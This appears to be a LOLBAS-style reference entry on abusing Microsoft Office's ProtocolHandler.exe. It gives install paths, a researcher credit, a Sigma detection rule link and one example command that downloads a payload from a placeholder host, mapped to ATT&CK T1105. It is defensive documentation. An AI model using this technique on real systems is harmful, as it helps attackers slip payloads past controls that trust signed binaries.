.. /ProtocolHandler.exe

Download

Microsoft Office binary

Paths:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe

Acknowledgements:

- Nir Chako (Pentera) (@C_h4ck_0)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml
- IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

```
ProtocolHandler.exe https://example.com/payload
```

Use case:	It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	T1105